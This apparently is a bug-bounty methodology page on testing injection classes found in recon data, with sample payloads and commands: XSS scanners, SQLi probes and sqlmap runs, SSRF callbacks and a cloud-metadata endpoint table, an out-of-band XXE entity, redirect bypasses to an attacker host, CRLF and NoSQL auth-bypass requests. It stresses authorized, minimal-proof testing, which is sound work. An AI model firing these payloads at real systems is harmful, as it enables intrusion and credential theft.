Skip to content
TECHNIQUE 03/13OP INJECT

Injection surface from recon data

8 min readRecon Atlas

In the recon phases you ran gf over your URL list and got params/gf/xss.txt, sqli.txt, ssrf.txt and the rest. Those are not findings. They are the same URL list, filtered into different reading orders, because each bug class cares about a different kind of parameter. This part is how you work each pile.

Class gf file The parameter you want Confirm with
XSS gf/xss.txt Anything reflected into HTML or JS A payload that executes, seen in a real browser
SQLi gf/sqli.txt Values used in a query: ids, filters, sorts A boolean or time difference, then sqlmap
SSRF gf/ssrf.txt URL-taking params: url, next, webhook An interactsh callback from the server
Open redirect gf/redirect.txt redirect, return, next, url A 3xx Location to your host
LFI gf/lfi.txt file, path, page, template A known file read back, or path traversal
SSTI gf/ssti.txt Values rendered server-side into a template Math that evaluates, such as 49 from 7*7

Start from the triage queue: test injection on the now hosts first, then widen.

Signalparams/gf/xss.txt, js/endpoints.txt
NoiseLight active
Severitymedium to high
ConfirmA payload runs JavaScript in a real browser on the target origin. A screenshot of the alert or a DOM change, not just a reflected string.

Reflected XSS is mostly gone from server-rendered responses because frameworks auto-escape. In modern single-page apps the bug moved to the client. The server sends clean JSON, and the front end writes it into the DOM unsafely. That is DOM XSS, and your JS recon finds it before you fire a single payload.

  1. Read the JS for sinks. In the bundles you downloaded during recon, search for innerHTML, document.write, eval, setAttribute('on...'), dangerouslySetInnerHTML, v-html, and jQuery .html().

    Terminal window
    # Dangerous DOM sinks across downloaded JS
    grep -REn 'innerHTML|document\.write|eval\(|dangerouslySetInnerHTML|\.html\(|v-html' js/files/ | head -40
  2. Trace back from the sink to a source you control: location.hash, location.search, postMessage, document.referrer, a URL parameter. A source that reaches a sink without sanitising is DOM XSS.

  3. Build the payload for the context. Hash-based sinks take # payloads; attribute sinks need to break out of the attribute first.

  4. Validate in a real browser, headless if you are doing many. Dalfox automates reflected and some DOM cases.

Terminal window
# Dalfox v3 (Rust): scan a list of URLs with a blind callback for out-of-DOM hits
cat params/gf/xss.txt | dalfox scan -b https://YOUR.oast.fun
Terminal window
# Dalfox v3: one URL with your own payloads
dalfox scan 'https://example.com/search?q=FUZZ' --custom-payload payloads.txt

Dalfox v3 is a Rust rewrite; some v2 flags were renamed, so check the README or dalfox scan --help for DOM-mining options.

Reflected and DOM XSS are two of three. The other two need a different setup:

  • Stored XSS is written once and runs whenever the page is viewed. Submit a labelled payload in a field that persists (a profile name, a comment, a support ticket), then load the page that renders it. The label tells you which field fired when the payload is viewed somewhere unexpected, such as an admin list.
  • Blind XSS is stored XSS that fires in a browser you never see, often a staff back-office. You cannot watch for it, so it carries a callback. Use the blind XSS collector from phase 16, which captures the DOM, cookies and URL when the payload runs, and label each injection point.
Signalparams/gf/sqli.txt
NoiseHeavy active
Severityhigh to critical
ConfirmA manual boolean or time test changes the response predictably, then sqlmap extracts a harmless fact like the database version.

Smoke-test by hand before you reach for sqlmap. A parameter that errors on a single quote, or returns different results for id=1 AND 1=1 versus id=1 AND 1=2, is worth the heavy tool. Firing sqlmap at every URL is noise.

Terminal window
# Manual boolean smoke test in two requests, compare the responses
curl -s "https://example.com/item?id=1%20AND%201=1" -o /tmp/true.html
curl -s "https://example.com/item?id=1%20AND%201=2" -o /tmp/false.html && diff <(wc -c </tmp/true.html) <(wc -c </tmp/false.html)

A pair that actually differs looks like this. The true condition returns the row. The false condition returns data null.

GET /api/v1/products?id=1042%20AND%201=1 HTTP/1.1
Host: shop.example.com
HTTP/1.1 200 OK
Content-Type: application/json
{"status":"success","data":{"id":1042,"title":"Office Chair","stock":12}}
GET /api/v1/products?id=1042%20AND%201=2 HTTP/1.1
Host: shop.example.com
HTTP/1.1 200 OK
Content-Type: application/json
{"status":"success","data":null}

The query evaluated the boolean. That does not show the database user can call LOAD_FILE, and it does not show a longer extract will get past a WAF.

When a parameter looks promising, save the full request from Burp (right-click, “Copy to file”). Hand it to sqlmap so cookies and headers come along.

Terminal window
# sqlmap against a saved request, gentle settings, batch mode
sqlmap -r request.txt -p id --level 2 --risk 1 --batch --banner

ghauri is a lighter alternative that handles many injection points sqlmap also finds, sometimes with less tuning and fewer requests. It reads the same saved-request format.

Terminal window
# ghauri against the same saved request
ghauri -r request.txt -p id --level 2 --batch --dbs
Signalparams/gf/ssrf.txt, params/hidden.txt
NoiseLight active
Severityhigh to critical
ConfirmThe target server, not your browser, makes a request to your interactsh host. An HTTP hit from the target's egress IP confirms it.

From the recon output, the parameters that fetch a URL server-side are your SSRF surface: url, uri, next, dest, feed, webhook, image_url, callback, proxy. Put your interactsh host in each and watch for a callback.

Terminal window
# Start the listener (recon phase 16), then test a fetch-like parameter
interactsh-client -v &
curl -s "https://example.com/preview?url=https://PREFIX.oast.fun/ssrf"

A DNS lookup alone is weak evidence; link preview bots do that too. An HTTP request from the target’s server is the real signal. Once confirmed, work out what the server can reach. Cloud metadata is the classic escalation.

A confirmed hit has two parts. The app accepts the URL, and your listener sees the worker.

POST /api/v1/webhooks/test HTTP/1.1
Host: integrations.example.com
Content-Type: application/json
{"target_url":"http://203.0.113.10:8080/ssrf-proof"}
HTTP/1.1 200 OK
Content-Type: application/json
{"status":"queued","task_id":"wk_8812"}
Connection received from 203.0.113.5:54210
GET /ssrf-proof HTTP/1.1
Host: 203.0.113.10:8080
User-Agent: Go-http-client/1.1

203.0.113.5 issued that GET. The worker made the request. The hit does not show it can reach 169.254.169.254 or an internal address. Egress rules often allow the internet and block the internal ranges.

Cloud Metadata endpoint Note
AWS http://169.254.169.254/latest/meta-data/ IMDSv2 needs a token header first
GCP http://metadata.google.internal/computeMetadata/v1/ Needs Metadata-Flavor: Google
Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 Needs Metadata: true
Signalparams/gf/redirect.txt
NoiseLight active
Severitylow, higher when chained
ConfirmThe server returns a 3xx with a Location header pointing to your external host.
Terminal window
# Does the parameter send the browser off-site?
curl -s -i "https://example.com/go?next=https://attacker.example.io" | grep -i '^location:'

Open redirect is low value on its own and often rejected. It earns real severity when it chains: stealing an OAuth code through a weak redirect_uri, or bypassing an SSRF allowlist. Try the bypasses programs commonly miss: //attacker.example.io, https:attacker.example.io, https://example.com.attacker.example.io, https://example.com@attacker.example.io, and a backslash variant https:/\attacker.example.io.

Signalparams/gf/ssti.txt, tech/httpx-tech.tsv
NoiseHeavy active
Severityhigh to critical
ConfirmA template expression evaluates server-side, for example input 7*7 renders 49, then a language-specific probe confirms the engine.

Template injection reaches code execution, so it is high value, but it is easy to misfire. Your tech fingerprinting from recon tells you which template language to test, which stops you spraying Jinja2 payloads at a .NET app.

Stack from tech/httpx-tech.tsv Likely engine First probe
Python, Flask, Django Jinja2, Django templates {{7*7}} then {{7*'7'}}
PHP, Laravel, Symfony Twig, Blade {{7*7}}
Java, Spring Thymeleaf, Freemarker, Velocity ${7*7}
Node, Express Handlebars, Pug, EJS {{7*7}}, #{7*7}
Ruby, Rails ERB, Slim <%= 7*7 %>
Terminal window
# A benign arithmetic probe; 49 in the response means the input is evaluated
curl -s "https://example.com/greeting?name=%7B%7B7*7%7D%7D" | grep -o '49'
GET /greeting?name=%7B%7B7*7%7D%7D HTTP/1.1
Host: portal.example.com
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
<html><body>Welcome 49</body></html>

The server returned Welcome 49, so it evaluated {{7*7}}. A sandbox can still block the classes a command payload needs. Stop at arithmetic for the proof. Going from {{7*7}} to reading files or running commands is the exploit, and a program wants the smallest proof that shows real impact. The same discipline applies to OS command injection: confirm with a timing payload or an interactsh DNS lookup, not a destructive command.

Once the arithmetic proof lands, confirm the engine safely. SSTImap fingerprints the template language and shows the minimal evaluation without jumping straight to a shell.

Terminal window
# Identify the engine and confirm evaluation, no exploitation
python3 sstimap.py -u "https://example.com/greeting?name=*" --engine auto
Signalurls/api.txt, endpoints that accept XML or SVG uploads
NoiseLight active
Severityhigh to critical
ConfirmThe parsed XML pulls in an external entity you control, seen as a file read back or an interactsh callback.

Any endpoint that parses XML is a candidate: SOAP services, SAML, Content-Type: application/xml APIs, DOCX/XLSX/SVG upload handlers. Test with an out-of-band entity first, because a blind parser proves itself with a callback even when nothing is reflected.

<!-- OOB probe: the parser fetches your interactsh host if external entities are on -->
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "http://PREFIX.oast.fun/xxe">]>
<r>&x;</r>

A callback from the target’s IP confirms XXE. For a file-read proof, point the entity at a harmless local file such as /etc/hostname; stop before pulling secrets.

Signalparams/gf/redirect.txt, any parameter reflected into a response header
NoiseLight active
Severitylow to medium, higher when chained
ConfirmAn injected CR/LF splits the response, adding a header or body you control.

A parameter can land in a response header such as a redirect Location, a Set-Cookie or a custom header. An encoded %0d%0a there can inject a new header or start a body. It chains into response splitting, cache poisoning, and header-based XSS.

Terminal window
# Inject a header; a reflected Set-Cookie in the response confirms it
curl -s -i "https://example.com/redirect?url=%0d%0aSet-Cookie:%20crlf=1" | grep -i '^set-cookie'

Most servers now strip bare CR/LF, so try the double-encoded %250d%250a and unicode variants before you conclude it is safe.

Signaljs/files/ (client), urls/api.txt (server), JSON body parameters
NoiseLight active
Severitymedium, high when it gadgets to RCE or XSS
ConfirmA property set via __proto__ appears on an object that never defined it, changing behaviour.

A JavaScript app that merges user input into an object without guarding __proto__ lets you set properties on every object. On the client it gadgets into DOM XSS; on a Node server it can reach command execution. Test by sending __proto__ keys and checking for a polluted property.

Terminal window
# Server-side probe: pollute, then see if a later response reflects the injected default
curl -s "https://example.com/api/config?__proto__[polluted]=yes" | grep -o 'polluted'

For the client side, set ?__proto__[test]=1 in the URL and read Object.prototype.test in the console. The DOM Invader tool in Burp and the ppmap script automate the client hunt.

Signalparams/gf/sqli.txt, login and filter endpoints on MongoDB stacks
NoiseLight active
Severityhigh to critical
ConfirmA query operator changes the result set, for example an auth bypass that logs in without the password.

When fingerprinting points at MongoDB or another document store, the SQLi leads are worth retesting with NoSQL operators. A classic is the authentication bypass, where {"$ne": null} matches any value.

Terminal window
# Auth bypass probe against a JSON login: password that matches anything
curl -s -X POST https://example.com/api/login -H 'Content-Type: application/json' \
-d '{"user":"admin","password":{"$ne":null}}'

In query-string APIs the same idea is user[$ne]=&password[$ne]=. A login that succeeds, or a filter that returns rows it should not, confirms it. NoSQLMap automates the operator set once you have a candidate.

Next, test how servers, proxies and caches disagree about a request in HTTP protocol.

Connections5 backlinks · 2 outgoingFull graph →
Open local graph around this page
Open full graph →
Click a node to open · Drag to reposition · Scroll to zoom

Recon AtlasFor authorized testing only. Your scope is the map edge.